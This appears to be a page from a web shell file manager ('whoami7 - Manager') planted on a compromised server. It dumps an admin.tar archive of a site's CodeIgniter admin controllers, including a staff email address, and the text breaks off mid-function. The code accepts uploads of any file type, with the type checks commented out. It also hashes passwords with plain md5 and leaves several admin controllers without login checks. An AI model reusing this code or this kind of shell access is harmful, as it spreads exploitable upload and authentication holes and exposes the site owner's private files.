whoami7 - Manager
:
/
home
/
papecmvm
/
www
/
documents
/
6204_Rajpara
/
2020
/
k_november
/
receipt
/
Upload File:
files >> //home/papecmvm/www/documents/6204_Rajpara/2020/k_november/receipt/admin.tar
Mediamanagement.php 0000644 00000013204 14655426702 0010344 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); error_reporting(0); class Mediamanagement extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { $data['view']=$this->model->getDatamodel('tblmedia'); $this->load->view("media/media_view",$data); } public function add() { $config['upload_path'] = './uploads/'; $config['allowed_types'] = '*'; $this->upload->initialize($config); $count = count($_FILES['mediafile']['size']); //echo $count; die; //foreach ($_FILES as $key => $value) { for ($s = 0; $s <= $count - 1; $s++) { $path_parts = pathinfo($_FILES['mediafile']['name'][$s]); $extension = $path_parts['extension']; //echo $extension; die; if ($extension != 'jpg' && $extension != 'png' && $extension != 'jpeg' && $extension != 'JPG' && $extension != 'pdf' && $extension != 'gif' && $extension != 'doc' && $extension != 'xlsx' && $extension != 'ppt') { //error $this->session->set_flashdata('msg', '<div class="alert alert-dismissible" role="alert" style="color: #a94442;background-color: #f2dede;border-color: #ebccd1;"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button><strong>Error : </strong> Something went wrong...!</div>'); redirect('admin/mediamanagement', 'refresh'); } else { $_FILES['userfile']['name'] = $_FILES['mediafile']['name'][$s]; $_FILES['userfile']['type'] = $_FILES['mediafile']['type'][$s]; $_FILES['userfile']['tmp_name'] = $_FILES['mediafile']['tmp_name'][$s]; $_FILES['userfile']['error'] = $_FILES['mediafile']['error'][$s]; $_FILES['userfile']['size'] = $_FILES['mediafile']['size'][$s]; $this->load->library('upload', $config); $this->upload->do_upload(); $data = $this->upload->data(); $filename = 'uploads/' . $data['file_name']; $insertdata = array('file_name' => $data['file_name'], 'file_path' => $filename, 'filetype' => strtolower($data['file_ext'])); $this->model->insertData('tblmedia', $insertdata); } } redirect('admin/mediamanagement', 'refresh'); //} } public function add_old() { echo "<pre>"; $config['upload_path'] = './uploads/'; $config['allowed_types'] = '*'; $this->upload->initialize($config); $count = count($_FILES['mediafile']['size']); foreach($_FILES as $key=>$value) for($s=0; $s<=$count-1; $s++) { $path_parts = pathinfo($value['name'][$s]); $extension = $path_parts['extension']; //echo $extension; die; if($extension != 'jpg' && $extension != 'png' && $extension != 'jpeg' && $extension != 'pdf' && $extension != 'gif' && $extension != 'doc' && $extension != 'xlsx' && $extension != 'ppt'){ //error $this->session->set_flashdata('msg', '<div class="alert alert-dismissible" role="alert" style="color: #a94442;background-color: #f2dede;border-color: #ebccd1;"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button><strong>Error : </strong> Something went wrong...!</div>'); redirect('admin/mediamanagement','refresh'); }else{ $_FILES['userfile']['name']=$value['name'][$s]; $_FILES['userfile']['type'] = $value['type'][$s]; $_FILES['userfile']['tmp_name'] = $value['tmp_name'][$s]; $_FILES['userfile']['error'] = $value['error'][$s]; $_FILES['userfile']['size'] = $value['size'][$s]; $this->load->library('upload', $config); $this->upload->do_upload(); $data = $this->upload->data(); $filename ='uploads/'.$data['file_name']; $insertdata=array('file_name' =>$data['file_name'] , 'file_path'=>$filename,'filetype'=>strtolower($data['file_ext'])); $this->model->insertData('tblmedia',$insertdata); } redirect('admin/mediamanagement','refresh'); } } public function deleteimageselected() { $ids=explode('&',$this->input->post('ck')); for ($i=0; $i < count($ids); $i++) { $id=explode('=',$ids[$i]); $where=array('tblmedia_id'=>$id[1]); $getbanner=$this->model->DetailData('tblmedia',$where); unlink($getbanner[0]['file_path']); $this->model->DeleteData('tblmedia',$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> File Data successfully Delete. </div>'); */ redirect('admin/mediamanagement'); } public function openmodel($id) { $where=array('tblmedia_id'=>$id); $data['view']=$this->model->DetailData('tblmedia',$where); $this->load->view("media/model_view",$data); } public function update(){ $where= array('tblmedia_id' => $this->input->post('id')); $insertdata=array('main_text' =>$this->input->post('main'), 'sub_text'=>$this->input->post('sub')); $this->model->UpdateData('tblmedia',$insertdata,$where); redirect('admin/mediamanagement'); } } Portfoliocategory.php 0000644 00000012171 14655426703 0011006 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); error_reporting(0); class Portfoliocategory extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata', "model"); $session_data=$this->session->all_userdata(); if(count($session_data)==5) { redirect('admin/starlogin'); } } public function index() { $data['view']=$this->model->getDatamodel('tbl_portfolio_category'); $this->load->view("portfolio/portfolio_cat",$data); } //------ START: INSERT FUNCTION ------------------------------ public function add_portfoliocategory(){ if($this->input->post('save')=='save'){ $rand=rand(1000,9999); $title=$this->input->post('portfolio_cat_name'); $pagecode =str_replace(' ', '-', $title).rand(999,9999); $insertdata= array( 'portfolio_cat_name'=>$this->input->post('portfolio_cat_name'), 'portfolio_code'=>$pagecode, ); $this->form_validation->set_rules('portfolio_cat_name', 'portfolio_cat_name', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertData('tbl_portfolio_category',$insertdata); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Insert data successfully . </div>'); */ redirect('admin/portfoliocategory'); }else{ $this->load->view("portfolio/portfolio_cat_add"); } } //------ END: INSERT FUNCTION ------------------------------ //------ START: EDIT FUNCTION ------------------------------ public function edit_portfoliocategory($encrypted_string){ $id = $this->model->decryptdata($encrypted_string); $where=array('portfolio_cat_id'=>$id); if($this->input->post('save')=='save'){ $rand=rand(1000,9999); $title=$this->input->post('portfolio_cat_name'); $pagecode =str_replace(' ', '-', $title).rand(999,9999); $Updatedata=array( 'portfolio_cat_name'=>$this->input->post('portfolio_cat_name'), 'portfolio_code'=>$pagecode, ); $this->form_validation->set_rules('portfolio_cat_name', 'portfolio_cat_name', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->UpdateData('tbl_portfolio_category',$Updatedata,$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Update data successfully . </div>'); */ redirect('admin/portfoliocategory'); }else{ $data['view']=$this->model->DetailData('tbl_portfolio_category',$where); $this->load->view("portfolio/portfolio_cat_add",$data); } } //------ END: EDIT FUNCTION ------------------------------ //------ START: DELETE FUNCTION ------------------------------ public function delete_portfoliocategory(){ $ids = explode('&',$this->input->post('ck')); $n=count($ids); for($i=0;$i<$n;$i++) { $id=explode('=',$ids[$i]); $where=array('portfolio_cat_id'=>$id[1]); $getimages=$this->model->DetailData('tbl_portfolio',$where); for($j=0;$j<count($getimages);$j++) { //echo $getimages[$j]['portfolio_image_path']."<br/>"; unlink("portfolio_images/".$getimages[$j]['portfolio_image_path']); } $this->model->DeleteData('tbl_portfolio_category',$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Delete data successfully . </div>'); */ redirect('admin/portfoliocategory'); } //------ END: DELETE FUNCTION ------------------------------- } /* End of file services.php */ Portfolio.php 0000644 00000022316 14655426704 0007253 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); error_reporting(0); class Portfolio extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata', "model"); $session_data=$this->session->all_userdata(); if(count($session_data)==5) { redirect('admin/starlogin'); } } public function index() { $data['view']=$this->model->portfolio_model(); $this->load->view("portfolio/portfolio",$data); } //------ START: INSERT FUNCTION ------------------------------ public function add_portfolio(){ $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; if($this->input->post('save')=='save'){ //echo $this->input->post('port_sub_cat'); die; $path_parts = pathinfo($_FILES["image_name"]["name"]); //echo $extension; die; /*if($extension != 'jpg' && $extension != 'png' && $extension != 'jpeg' && $extension != 'gif'){ //error $this->session->set_flashdata('msg', '<div class="alert alert-dismissible" role="alert" style="color: #a94442;background-color: #f2dede;border-color: #ebccd1;"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button><strong>Error : </strong> Something went wrong...!</div>'); redirect('admin/portfolio'); }else{ */ //---------------- STRAT: UPLOAD IMAGE ------------------- $filenm=$_FILES["image_name"]["name"]; if($filenm!=""){ $config['upload_path'] ='./portfolio_images/'; // folder name where you wnat to upload the image // $config['allowed_types'] = 'gif|jpg|png|jpeg'; $this->upload->initialize($config); if (!$this->upload->do_upload('image_name')){ $error = array('error' => $this->upload->display_errors()); } else { $data = array('upload_data' => $this->upload->data()); $image_name=$data['upload_data']['file_name']; } } else{ $image_name=""; } //---------------- END : UPLOAD IMAGE -------------------- //echo $this->input->post('portfolio_name'); die; $insertdata= array( 'portfolio_name'=>$this->input->post('portfolio_name'), 'prot_desc'=>$this->input->post('portfolio_Desc'), 'portfolio_cat_id'=>$this->input->post('portfolio_cat_id'), 'port_sub_cat'=>$this->input->post('port_sub_cat'), 'portfolio_image_path'=>$image_name, 'banner_id'=>$this->input->post('banner_id'), 'portfolio_video_path'=>$this->input->post('portfolio_video_path'), 'portfolio_link'=>$this->input->post('portfolio_link') ); $this->form_validation->set_rules('portfolio_name', 'portfolio_name', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertData($lang.'tbl_portfolio',$insertdata); } else{ echo 'error'; die; } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Insert data successfully . </div>'); */ redirect('admin/portfolio'); //} }else{ $data['bannergrid']=$this->model->getDatamodel('tblbanners'); $data['portfolio_category']=$this->model->getDatamodel('tbl_portfolio_category'); $this->load->view("portfolio/portfolio_add",$data); } } //------ END: INSERT FUNCTION ------------------------------ //------ START: EDIT FUNCTION ------------------------------ public function edit_portfolio($encrypted_string){ $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $id = $this->model->decryptdata($encrypted_string); $where=array('portfolio_id'=>$id); if($this->input->post('save')=='save'){ //$where=array('portfolio_id'=>$id); //---------------- STRAT: UPLOAD IMAGE ------------------- $hidden_photo= $this->input->post("hidden_photo"); $newfile=$_FILES["image_name"]["name"]; if($newfile!=""){ //---- Unlink image ------ if (file_exists("./portfolio_images/".$hidden_photo)){ // file_exists : chk if file is exist or not unlink("portfolio_images/".$hidden_photo); // unlink image } $config['upload_path'] ='./portfolio_images/'; // folder name where you wnat to upload the image // $config['allowed_types'] = 'gif|jpg|png|jpeg'; $this->upload->initialize($config); if (!$this->upload->do_upload('image_name')){ $error = array('error' => $this->upload->display_errors()); } else { $data = array('upload_data' => $this->upload->data()); $image_name=$data['upload_data']['file_name']; } }else{ $image_name=$hidden_photo; } //---------------- END : UPLOAD IMAGE -------------------- $Updatedata=array( 'portfolio_name'=>$this->input->post('portfolio_name'), 'prot_desc'=>$this->input->post('portfolio_Desc'), 'portfolio_cat_id'=>$this->input->post('portfolio_cat_id'), 'port_sub_cat'=>$this->input->post('port_sub_cat'), 'portfolio_image_path'=>$image_name, 'portfolio_video_path'=>$this->input->post('portfolio_video_path'), 'portfolio_link'=>$this->input->post('portfolio_link') ); // echo "<pre>"; //print_r($Updatedata); //die; $this->model->UpdateData($lang.'tbl_portfolio',$Updatedata,$where); /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Update data successfully . </div>'); */ redirect('admin/portfolio'); }else{ $data['bannergrid']=$this->model->getDatamodel('tblbanners'); $data['portfolio_category']=$this->model->getDatamodel('tbl_portfolio_category'); $data['sub_cat']=$this->model->getDatamodel('tbl_port_sub_cat'); $data['view']=$this->model->DetailData($lang.'tbl_portfolio',$where); $this->load->view("portfolio/portfolio_add",$data); } } public function subfun($id){ $inv=$this->input->post('inv'); $where=array('pid'=>$id); $sub=$this->model->DetailData('tbl_port_sub_cat',$where); echo ' <option value=""> --SELECT-- </option>'; foreach($sub as $key){ if($inv!="" && $inv==$key['ven_inv_num']){ echo '<option value="'.$key['psid'].'" selected>'.$key['ps_name'].'</option>'; }else{ echo '<option value="'.$key['psid'].'">'.$key['ps_name'].'</option>'; } } } //------ END: EDIT FUNCTION ------------------------------ //------ START: DELETE FUNCTION ------------------------------ public function delete_portfolio(){ $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $ids=explode('&',$this->input->post('ck')); $n=count($ids); for($i=0;$i<$n;$i++) { $id=explode('=',$ids[$i]); $where=array('portfolio_id'=>$id[1]); //---------- UNLINK IMAGE ----------------------- $getimages=$this->model->DetailData('tbl_portfolio',$where); unlink("portfolio_images/".$getimages[$i]['portfolio_image_path']); //---------- UNLINK IMAGE ----------------------- $this->model->DeleteData($lang.'tbl_portfolio',$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Delete data successfully . </div>'); */ redirect('admin/portfolio'); } //------ END: DELETE FUNCTION ------------------------------- } /* End of file services.php */ Starlogin.php 0000644 00000004774 14655426705 0007251 0 ustar 00 <?php error_reporting(0); class Starlogin extends CI_Controller{ function __construct() { parent:: __construct(); $this->load->model('login_model'); } public function index(){ $this->load->view("login_view"); } /*public function checkLogin(){ $code = $this->input->post('code'); $rcode = $this->input->post('rcode'); if($code != $rcode){ $this->load->view("login_view"); }else{ $pass=md5($this->input->post("password")); $this->db ->where("username", $this->input->post("username")); $this->db->where("password",$pass); $this->db->where("status", 'active'); $query=$this->db->get("tblusers"); $logindata=$query->result_array(); if($query->num_rows() == 1){ $this->session->set_userdata('userinfo', $logindata); $this->session->set_userdata('lang', ''); $this->session->set_userdata('themecolor', 'skin-green'); $session_data=$this->session->all_userdata(); //echo '<pre>'; print_r($session_data); die; redirect("admin/welcome"); }else{ $this->load->view("login_view"); } } }*/ public function checkLogin(){ $this->form_validation->set_rules("username", "Username", "trim|required"); $this->form_validation->set_rules("password", "Password", "trim|required|callback_checkForPassword"); $this->form_validation->set_rules("captcha", "Code", "trim|required|callback_checkForcaptch"); if ($this->form_validation->run() == FALSE) { $this->load->view("login_view"); }else{ redirect("admin/welcome"); } } public function checkForPassword(){ // custome call back function $password=$this->login_model->chkLogin(); if($password){ return TRUE; }else{ $this->form_validation->set_message("checkForPassword", "Invalid Username OR Password"); return FALSE; } } public function checkForcaptch(){ // custome call back function $captcha=md5($this->input->post('captcha')); $sessioncaptcha=$_SESSION['ramdom']; if($captcha==$sessioncaptcha){ return TRUE; }else{ $this->form_validation->set_message("checkForcaptch", "Please enter valid code."); return FALSE; } } function captchaImg() { $this->load->model('alldata','captcha'); $captcha = $this->captcha->Captchaimage(); return $captchaImg; } } Bannersmanagement.php 0000644 00000013233 14655426706 0010723 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); error_reporting(0); class Bannersmanagement extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { // $data['view']=$this->model->getDatamodel('tblbanners'); $this->db->select('*'); $this->db->from('tblbanners'); $this->db->join('tblusers', 'tblbanners.b_user_id = tblusers.uid','left'); $data['view'] = $this->db->get()->result_array(); $this->load->view("banners/banner_view",$data); } public function addbanner() { if($this->input->post('save')=='save') { $names= implode('|', $this->input->post('imageview')); $session_data=$this->session->all_userdata(); $insertdata=array('banner_title'=>$this->input->post('banner'), 'banner_images'=>$names, 'b_user_id'=>$session_data['userinfo'][0]['uid'] ); $this->form_validation->set_rules('banner', 'banner', 'required|xss_clean|regex_match[/[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertData('tblbanners',$insertdata); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Banner Data successfully Insert. </div>'); */ redirect('admin/bannersmanagement'); } else { $names = array('.png', '.jpg', '.gif','.jpeg'); $this->db->where_in('filetype', $names); $data['image']=$this->db->get('tblmedia')->result_array(); $this->load->view("banners/banner_add",$data); } } public function editBannerData($encrypted_string) { $id = $this->model->decryptdata($encrypted_string); $where=array('banner_id'=>$id); if($this->input->post('save')=='save') { $names= implode('|', $this->input->post('imageview')); $session_data=$this->session->all_userdata(); $updatedata=array('banner_title'=>$this->input->post('banner'), 'banner_images'=>$names, 'b_user_id'=>$session_data['userinfo'][0]['uid'], 'modified_time'=>date('Y-m-d h:m:s') ); $this->form_validation->set_rules('banner', 'banner', 'required|xss_clean|regex_match[/[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->UpdateData('tblbanners',$updatedata,$where); } redirect('admin/bannersmanagement'); } else { $names = array('.png', '.jpg', '.gif','.jpeg'); $this->db->where_in('filetype', $names); $data['image']=$this->db->get('tblmedia')->result_array(); $data['view']=$this->model->DetailData('tblbanners',$where); $this->load->view("banners/banner_edit",$data); } } public function deleteBannerData($ids,$banner,$imagename) { $id = $this->model->decryptdata($ids); $where=array('banner_id'=>$id); $getbanner=$this->model->DetailData('tblbanners',$where); $imagedel=$banner.'/'.$imagename; $images=explode('|',$getbanner[0]['banner_images']); $updateimages=array(); for($i=0;$i<count($images);$i++) { if($images[$i]!=$imagedel) { $updateimages[$i]=$images[$i]; } else { unlink($images[$i]); } } $names= implode('|', $updateimages); $updatedata=array('banner_images'=>$names); $this->model->UpdateData('tblbanners',$updatedata,$where); $this->editBannerData($ids); } public function deletesliderselected() { $ids=explode('&',$this->input->post('ck')); for ($i=0; $i < count($ids); $i++) { $id=explode('=',$ids[$i]); $where=array('banner_id'=>$id[1]); $getbanner=$this->model->DetailData('tblbanners',$where); $images=explode('|',$getbanner[0]['banner_images']); for($k=0;$k<count($images);$k++) { unlink($images[$k]); } $this->model->deleteData('tblbanners',$where); } /* $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Slider Data successfully Delete. </div>'); */ redirect('admin/bannersmanagement'); } } Setting.php 0000644 00000016334 14655426707 0006721 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); class Setting extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata', "model"); $session_data=$this->session->all_userdata(); if(count($session_data)==5) { redirect('admin/starlogin'); } } public function index() { $data['view']=$this->model->setting_model(); $this->load->view("setting/setting",$data); } //------ START: INSERT FUNCTION ------------------------------ public function add_setting(){ if($this->input->post('save')=='save'){ //---------------- STRAT: UPLOAD IMAGE ------------------- $filenm=$_FILES["image_name"]["name"]; if($filenm!=""){ $config['upload_path'] ='./bootstrap/images/'; // folder name where you wnat to upload the image // $config['allowed_types'] = 'gif|jpg|png|jpeg'; $this->upload->initialize($config); if (!$this->upload->do_upload('image_name')){ $error = array('error' => $this->upload->display_errors()); } else { $data = array('upload_data' => $this->upload->data()); $image_name=$data['upload_data']['file_name']; } }else{ $image_name=""; } //---------------- END : UPLOAD IMAGE -------------------- $insertdata= array( 'other_cat'=>$this->input->post('other_cat'), 'other_title'=>$this->input->post('other_title'), 'other_text'=>$this->input->post('other_text'), 'other_link'=>$this->input->post('other_link'), 'other_icon'=>$this->input->post('other_icon'), 'social_link'=>$this->input->post('social_link'), 'other_image'=>$image_name, 'other_position'=>$this->input->post('other_position') //'other_bgclr'=>$this->input->post('other_bgclr'), //'other_clr'=>$this->input->post('other_clr') ); $this->model->insertData('tbl_other_detail',$insertdata); $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Insert data successfully . </div>'); redirect('admin/setting'); }else{ $data['pageData']=$this->model->DetailData('tblcontent',array('publish'=>'on')); $this->load->view("setting/setting_add",$data); } } //------ END: INSERT FUNCTION ------------------------------ //------ START: EDIT FUNCTION ------------------------------ public function edit_setting($encrypted_string){ $id = $this->model->decryptdata($encrypted_string); $where=array('other_id'=>$id); if($this->input->post('save')=='save'){ //---------------- STRAT: UPLOAD IMAGE ------------------- $hidden_photo= $this->input->post("hidden_photo"); $newfile=$_FILES["image_name"]["name"]; if($newfile!=""){ //---- Unlink image ------ if (file_exists("./bootstrap/images/".$hidden_photo)){ // file_exists : chk if file is exist or not unlink("bootstrap/images/".$hidden_photo); // unlink image } $config['upload_path'] ='./bootstrap/images/'; // folder name where you wnat to upload the image // $config['allowed_types'] = 'gif|jpg|png|jpeg'; $this->upload->initialize($config); if (!$this->upload->do_upload('image_name')){ $error = array('error' => $this->upload->display_errors()); } else { $data = array('upload_data' => $this->upload->data()); $image_name=$data['upload_data']['file_name']; } }else{ $image_name=$hidden_photo; } //---------------- END : UPLOAD IMAGE -------------------- $Updatedata=array( 'other_cat'=>$this->input->post('other_cat'), 'other_title'=>$this->input->post('other_title'), 'other_text'=>$this->input->post('other_text'), 'other_link'=>$this->input->post('other_link'), 'other_icon'=>$this->input->post('other_icon'), 'social_link'=>$this->input->post('social_link'), 'other_image'=>$image_name, 'other_position'=>$this->input->post('other_position') //'other_bgclr'=>$this->input->post('other_bgclr'), //'other_clr'=>$this->input->post('other_clr') ); // echo "<pre>"; //print_r($Updatedata); //die; $this->model->UpdateData('tbl_other_detail',$Updatedata,$where); $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Update data successfully . </div>'); redirect('admin/setting'); }else{ $data['view']=$this->model->DetailData('tbl_other_detail',$where); $data['pageData']=$this->model->DetailData('tblcontent',array('publish'=>'on')); $this->load->view("setting/setting_add",$data); } } //------ END: EDIT FUNCTION ------------------------------ //------ START: DELETE FUNCTION ------------------------------ public function delete_setting(){ $chk = $this->input->post('ck'); $n=count($chk); for($i=0;$i<$n;$i++) { $ency_id=$chk[$i]; $id = $this->model->decryptdata($ency_id); $where=array('other_id'=>$id); //---------- UNLINK IMAGE ----------------------- $getimages=$this->model->DetailData('tbl_other_detail',$where); unlink("bootstrap/images/".$getimages[$i]['other_image']); //---------- UNLINK IMAGE ----------------------- $this->model->DeleteData('tbl_other_detail',$where); } $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> Delete data successfully . </div>'); redirect('admin/setting'); } //------ END: DELETE FUNCTION ------------------------------- } /* End of file services.php */ Usermanagement.php 0000644 00000012215 14655426707 0010251 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); error_reporting(0); class Usermanagement extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { $userdata['data']=$this->model->getDatamodel('tblusers'); $this->load->view("users/view_user",$userdata); } public function adduser() { if($this->input->post('save')=='save') { $pass = $this->model->generate_password(); $msg="Username ".$this->input->post('username')."\n Password ".$pass; $this->email->from('kuldeep.parmar@staroneweb.co.in', 'Kuldeep'); $this->email->to($this->input->post('email')); $this->email->subject('Email Test'); $this->email->message($msg); $this->email->send(); $insertdata=array('username'=>$this->input->post('username'), 'email'=>$this->input->post('email'), 'password'=>md5($pass), 'type'=>$this->input->post('type'), 'created_date'=>date('Y-m-d h:m:s'), 'status'=>'active' ); $this->form_validation->set_rules('username', 'username', 'required|xss_clean|regex_match[/^[a-zA-Z_ ]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->insertData('tblusers',$insertdata); } $this->index(); } else { $this->load->view("users/user_add"); } } public function editUserData($encrypted_string) { $id = $this->model->decryptdata($encrypted_string); $where=array('uid'=>$id); if($this->input->post('save')=='save') { $insertdata=array('username'=>$this->input->post('username'), 'email'=>$this->input->post('email'), 'type'=>$this->input->post('type'), ); $this->form_validation->set_rules('username', 'username', 'required|xss_clean|regex_match[/^[a-zA-Z_ ]+$/]'); if ($this->form_validation->run() == TRUE) { $this->model->UpdateData('tblusers',$insertdata,$where); } $userdata['error']=array('errormsg'=>'<div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> User Data successfully Edit. </div>'); $userdata['data']=$this->model->getDatamodel('tblusers'); $this->load->view("users/view_user",$userdata); } else { $data['view']=$this->model->DetailData('tblusers',$where); $this->load->view("users/user_add",$data); } } public function deactiveUserData($id) { //$this->usermodel->deletUser($id); $data=array('status'=>'deactive'); $id=array('uid'=>$id); $this->model->updatedata('tblusers',$data,$id); $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> successfully change your Password. </div>'); $userdata['data']=$this->model->getDatamodel('tblusers'); $this->load->view("users/view_user",$userdata); } public function activeUserData($id) { //$this->usermodel->deletUser($id); $data=array('status'=>'active'); $id=array('uid'=>$id); $this->model->updatedata('tblusers',$data,$id); $userdata['error']=array('errormsg'=>'<div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> You successfully Active User. </div>'); $userdata['data']=$this->model->getDatamodel('tblusers'); $this->load->view("header"); $this->load->view("users/view_user",$userdata); $this->load->view("menu"); } public function editUserpass($id) { $data=array('password'=>md5($this->input->post('password'))); $ids=array('uid'=>$id); $conform=array('uid'=>$id,'password'=>md5($this->input->post('old'))); $getuser=$this->db->get_where('tblusers',$conform)->num_rows(); if($getuser==0){ $this->session->set_flashdata('msg', ' <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Error! </strong> your old password is invalid. </div>'); } else{ $this->model->updatedata('tblusers',$data,$ids); $userdata['data']=$this->model->getDatamodel('tblusers'); $this->session->set_flashdata('msg', ' <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span></button> <strong>Success!</strong> successfully change Password. </div>'); } redirect('admin/welcome/changepassword'); } } Welcome.php 0000644 00000005452 14655426710 0006670 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); error_reporting(0); class Welcome extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata', "usermodel"); } public function index() { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $data['message']=$this->usermodel->getDatamodel($lang.'tblmsg'); $data['election_mode']=$this->usermodel->getDatamodel($lang.'tblposts '); //$data['job_package']=$this->usermodel->DetailData('tbl_job_package'); $this->load->view("admin_dashboard_view", $data); } public function logout() { $this->session->unset_userdata('userinfo'); redirect('admin/starlogin'); } public function changepassword() { $session_data=$this->session->all_userdata(); $where=array('uid'=>$session_data['userinfo'][0]['uid']); $data['data']=$this->usermodel->DetailData('tblusers',$where); $this->load->view("header",$data); $this->load->view("changepass"); $this->load->view("menu"); } public function changelang($pass='') { $this->session->set_userdata('lang', $pass); redirect('admin/welcome'); } public function getmessage($id) { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $this->form_validation->set_rules('msg', 'msg', 'required|xss_clean|regex_match[/^[^\`\~\@\#\$\%\^\*\[\]\{\}\;:<>=+"]+$/]'); if ($this->form_validation->run() == TRUE) { $where=array('tblmsg_id'=>$id); $insertdata=array('message'=>$this->input->post('msg')); $this->usermodel->UpdateData($lang.'tblmsg',$insertdata,$where); } redirect('admin/welcome'); } public function changecolor($color) { $this->session->set_userdata('themecolor', $color); redirect('admin/welcome'); } public function election_mode($id){ $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; if($id==0){$em=1;}else{$em=0;} $insertdata=array('election_mode'=>$id); $where=array('election_mode'=>$em); //$insertdata_off=array('election_mode'=>$electionmode_on); $this->usermodel->UpdateData($lang.'tblposts',$insertdata,$where); //redirect('admin/welcome'); } public function errorpage(){ show_error(); } public function document(){ $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; $this->load->view("document_view"); } } /* End of file welcome.php */ /* Location: ./application/controllers/welcome.php */ Menumanagement.php 0000644 00000024225 14655426711 0010236 0 ustar 00 <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); ob_start(); error_reporting(0); class Menumanagement extends CI_Controller { function __construct() { parent::__construct(); $this->load->model('alldata','model'); } public function index() { $session_data=$this->session->all_userdata(); $lang=$session_data['lang']; 